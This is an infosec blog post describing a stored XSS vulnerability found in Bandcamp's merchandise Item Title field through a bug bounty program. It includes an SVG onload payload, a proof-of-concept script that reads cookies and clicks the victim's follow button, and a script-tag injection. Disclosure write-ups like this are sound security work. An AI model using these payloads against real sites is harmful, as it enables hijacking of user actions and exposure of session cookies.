infosec write-ups and ramblings

Corben Leo



Stored XSS in BandCamp

Recently, while my friend Alyssa Herrera and I were collaborating on finding ffmpeg vulnerabilities in bug bounty programs, we came to learn that Bandcamp ran a bug bounty program. If you have never heard of BandCamp, it is essentially a platform that allows artists, fans, and labels to interact, connect, and support each other.

I instantly was curious to see what I could find, so I signed up for an artist account and created a Bandcamp page. The first function I started to test was the Add Music function. This part of the site allows artists to add albums and tracks. I tested for IDOR and XSS, but sadly it wasn't vulnerable to either.

The next function I thought I wanted to test was the Add Merch function. There were 2 main parameters in this function that I wanted to test for XSS in immediately. I wanted to see if either the Item Title or Description accepted/rendered any HTML.

I put in a simple XSS payload for both:  <svg/onload=confirm(0)>

I saved and published the new "merchandise", and voila:
NOTHING happened. It was sanitized and I was bummed that it didn't work.
Then I saw the Buy Now button, so I clicked it, which opened a new frame and my XSS fired! They were not correctly sanitizing the Item Title in this frame, thus allowing an attacker to simply insert any HTML or javascript.

I am always reluctant in submitting an XSS with merely alert() because it just shows I was too lazy to actually come up with a cool proof-of-concept.
With that in mind, I came up with this POC:

alert("Stored XSS on BandCamp");
alert("Your cookies: " + document.cookie);
document.getElementById("follow-unfollow").click();alert("Thanks for the follow :^D");

Then changed the Item Title to <script src=//></script>
which made the victim follow me and set the cookie "hacker" to "cdl" for and all subdomains in their browser!

Proof of concept video:

Corben Leo

Corben Leo

View Comments